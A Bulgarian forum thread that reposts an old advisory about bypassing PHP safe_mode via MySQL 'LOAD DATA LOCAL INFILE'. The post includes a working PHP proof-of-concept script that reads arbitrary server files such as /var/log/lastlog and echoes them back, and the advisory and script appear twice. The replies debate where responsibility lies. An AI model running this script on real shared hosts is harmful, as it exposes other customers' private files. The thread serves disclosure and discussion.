PHP_SAFE_MODE EXPLOIT
8 отговора
260 прегледа
PHP_SAFE_MODE EXPLOIT
nqmam dumi za towa (samo wijte, copy-paste-wam)
VULNERABILITY IN BRIEF
PHP (since version 3?) includes a commonly used feature known as Safe Mode.
When enabled, scripts are highly limited in their ability to access or
execute local files, among other things.
PHP relies on a wrapper function around all filesystem calls to perform
access checks, but unforunately the bundled MySQL client library has not
been modified to perform such checks on "LOAD DATA INFILE LOCAL" statements.
If an attacker has access to a MySQL server (either provided by you or
himself), he can use it as a proxy by which to download files residing on
the safe_mode-enabled web server. For large ISPs relying on this feature
for individual customer privacy, it could mean clients accessing each
other's files, or viewing of files on an improperly secured server.
FIX
Currently, no fix exists. You may use other PHP safe_mode functions to
disable the use of the MySQL client library, or secure your servers in a
proper fashion.. A suggested fix for the PHP developers might be to scan
mysql_query()s for strings similar to "LOAD DATA LOCAL INFILE".
Happy hackers out there might like to look at libmysql.c:1764 if interested
in fixing this problem, although that may only be possible from within PHP.
EXAMPLE
The attached script will (once configured correctly) attempt to read
"/var/log/lastlog" via the SQL daemon and return it to the client.
$ cp safe_mode.php /www
$ wget -qO lastlog_via_mysql localhost/safe_mode.php
$ diff /var/log/lastlog lastlog_via_mysql; echo $?
0
COMMENTS
Due to the nature of the PHP project, development is very rapid and hence
many sites do not keep up with latest PHP versions. If a fix was available,
it would take quite a while to propagate.
It is likely that this is not an isolated problem in PHP, my bets are on
PostgreSQL and other PHP database extensions missing this one too.
The MySQL support has been enabled in PHP by default for as long as I can
remember.
i example:
<?
/*
PHP Safe Mode Problem
This script will connect to a database server running locally or otherwise,
create a temporary table with one column, use the LOAD DATA statement to
read a (possibly binary) file, then reads it back to the client.
Any type of file may pass through this 'proxy'. Although unrelated, this
may also be used to access files on the DB server (although they must be
world-readable or in MySQLd's basedir, according to docs).
*/
$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db = 'test_database';
$filename = '/var/log/lastlog'; /* File to grab from [local] server */
$local = true; /* Read from local filesystem */
$local = $local ? 'LOCAL' : '';
$sql = array (
"USE $db",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
Header ('Content-type: text/plain');
mysql_connect ($host, $user, $pass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo $r [0];
mysql_free_result ($q);
}
VULNERABILITY IN BRIEF
PHP (since version 3?) includes a commonly used feature known as Safe Mode.
When enabled, scripts are highly limited in their ability to access or
execute local files, among other things.
PHP relies on a wrapper function around all filesystem calls to perform
access checks, but unforunately the bundled MySQL client library has not
been modified to perform such checks on "LOAD DATA INFILE LOCAL" statements.
If an attacker has access to a MySQL server (either provided by you or
himself), he can use it as a proxy by which to download files residing on
the safe_mode-enabled web server. For large ISPs relying on this feature
for individual customer privacy, it could mean clients accessing each
other's files, or viewing of files on an improperly secured server.
FIX
Currently, no fix exists. You may use other PHP safe_mode functions to
disable the use of the MySQL client library, or secure your servers in a
proper fashion.. A suggested fix for the PHP developers might be to scan
mysql_query()s for strings similar to "LOAD DATA LOCAL INFILE".
Happy hackers out there might like to look at libmysql.c:1764 if interested
in fixing this problem, although that may only be possible from within PHP.
EXAMPLE
The attached script will (once configured correctly) attempt to read
"/var/log/lastlog" via the SQL daemon and return it to the client.
$ cp safe_mode.php /www
$ wget -qO lastlog_via_mysql localhost/safe_mode.php
$ diff /var/log/lastlog lastlog_via_mysql; echo $?
0
COMMENTS
Due to the nature of the PHP project, development is very rapid and hence
many sites do not keep up with latest PHP versions. If a fix was available,
it would take quite a while to propagate.
It is likely that this is not an isolated problem in PHP, my bets are on
PostgreSQL and other PHP database extensions missing this one too.
The MySQL support has been enabled in PHP by default for as long as I can
remember.
i example:
<?
/*
PHP Safe Mode Problem
This script will connect to a database server running locally or otherwise,
create a temporary table with one column, use the LOAD DATA statement to
read a (possibly binary) file, then reads it back to the client.
Any type of file may pass through this 'proxy'. Although unrelated, this
may also be used to access files on the DB server (although they must be
world-readable or in MySQLd's basedir, according to docs).
*/
$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db = 'test_database';
$filename = '/var/log/lastlog'; /* File to grab from [local] server */
$local = true; /* Read from local filesystem */
$local = $local ? 'LOCAL' : '';
$sql = array (
"USE $db",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
Header ('Content-type: text/plain');
mysql_connect ($host, $user, $pass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo $r [0];
mysql_free_result ($q);
}
Re: PHP_SAFE_MODE EXPLOIT
Нищо ново не казваш.
При това PHP няма нищо общо в случая.
Проблема е с:
File_Priv на MySQL
който зависи от администратора на машината. Т.е. ако администратора решава дали да даде на клиентите си MySQL user с File_Priv или не.
Също така администратора решава с какъв user и съответно с какви права да стартира mysqld
Ако искаш можеш да си пуснеш mysqld като root, което е безумие разбира се, но какво общо има PHP с това?
По презумпция PHP се явява клиентска част за SQL сървърите. Т.е. ако твой Web сървър с PHP прави mysql_connect(мой_сървър) чия е отговрността за това какво вижда или не MySQL?
В никакъв случай не е твоя т.е. на адмниситратора на машината с PHP-то
Точно от теб не очаквах такъв въпрос
Linux is like a wigwam - No Windows, No Gates, Apache inside
При това PHP няма нищо общо в случая.
Проблема е с:
File_Priv на MySQL
който зависи от администратора на машината. Т.е. ако администратора решава дали да даде на клиентите си MySQL user с File_Priv или не.
Също така администратора решава с какъв user и съответно с какви права да стартира mysqld
Ако искаш можеш да си пуснеш mysqld като root, което е безумие разбира се, но какво общо има PHP с това?
По презумпция PHP се явява клиентска част за SQL сървърите. Т.е. ако твой Web сървър с PHP прави mysql_connect(мой_сървър) чия е отговрността за това какво вижда или не MySQL?
В никакъв случай не е твоя т.е. на адмниситратора на машината с PHP-то
Точно от теб не очаквах такъв въпрос
Linux is like a wigwam - No Windows, No Gates, Apache inside
Re: PHP_SAFE_.. продължение
Наистина има разлика в използването на
LOAD DATA LOCAL INFILE
но той пък вече оприа до това как е стартиран apache, какви файлове по сървъра са word_readable и т.н.
Linux is like a wigwam - No Windows, No Gates, Apache inside
LOAD DATA LOCAL INFILE
но той пък вече оприа до това как е стартиран apache, какви файлове по сървъра са word_readable и т.н.
Linux is like a wigwam - No Windows, No Gates, Apache inside
heh ...
LOAD DATA LOCAL INFILE - za nego ne ti trqbwa file privilege
i pri towa problemyt bi bil ne za towa, che eventualno moga da ti procheta system-nite files, a za towa, che bih mogyl da procheta files na drugite useri w sistemata ...
i pri towa problemyt bi bil ne za towa, che eventualno moga da ti procheta system-nite files, a za towa, che bih mogyl da procheta files na drugite useri w sistemata ...
mdam ....
tochno towa imah w predwid
sorry, ama prochetoh wtoriq ti posting sled kato bqh napisal otgowora ...
w krajna smetka towa moje da ima dosta negatiwno wliqnie wyrhu php hosting-a (osobeno tozi, deto e free)
sorry, ama prochetoh wtoriq ti posting sled kato bqh napisal otgowora ...
w krajna smetka towa moje da ima dosta negatiwno wliqnie wyrhu php hosting-a (osobeno tozi, deto e free)
Re: heh ...
Ами то това важи и за всичко, което се изпълнява като cgi не само за PHP
Всеки cgi скрипт се стартира с uid.gid на web сървъра.
Като цяло дали на сървъра има world-readable файлове е проблем на администратора
Абе както неведнъж сам казвал да дадеш PHP на клиенти си е горе-долу същия таралеж в гащите като да им дадеш shell
Linux is like a wigwam - No Windows, No Gates, Apache inside
Всеки cgi скрипт се стартира с uid.gid на web сървъра.
Като цяло дали на сървъра има world-readable файлове е проблем на администратора
Абе както неведнъж сам казвал да дадеш PHP на клиенти си е горе-долу същия таралеж в гащите като да им дадеш shell
Linux is like a wigwam - No Windows, No Gates, Apache inside
Re: амиии....
... таковата .... и аз
Linux is like a wigwam - No Windows, No Gates, Apache inside
Linux is like a wigwam - No Windows, No Gates, Apache inside
Редактирано от salle на
s edna dobavka ...
towa waji ne samo za cgi wersiqta, no i za drugite 3 (da, veche ste bydat 3 - static, dso module, fast cgi)
Re: оше една добавка....
Имах предвид какъвто и да е CGI
не само PHP и не само MySQL
Обикновено това се премълчава, ама всъщност всеки CGI скрипт 'вижда' всички файлове, които уеб сървъра може да чете. Щото се изпълнява с uid, gid на сървъра. ... а suexec е гадна работа и т.н.
Погледнато малко по-глобално става въпрос за
Three-tier архитектура (как е българсикя термин?)
Клиент (браузър) -> приложен сървър (Уеб сървър) -> СУБД
И проблемът възниква в средното ниво.
Така, че е доста замъглено кой и кое всъщност носи отговорността за това.
Linux is like a wigwam - No Windows, No Gates, Apache inside
не само PHP и не само MySQL
Обикновено това се премълчава, ама всъщност всеки CGI скрипт 'вижда' всички файлове, които уеб сървъра може да чете. Щото се изпълнява с uid, gid на сървъра. ... а suexec е гадна работа и т.н.
Погледнато малко по-глобално става въпрос за
Three-tier архитектура (как е българсикя термин?)
Клиент (браузър) -> приложен сървър (Уеб сървър) -> СУБД
И проблемът възниква в средното ниво.
Така, че е доста замъглено кой и кое всъщност носи отговорността за това.
Linux is like a wigwam - No Windows, No Gates, Apache inside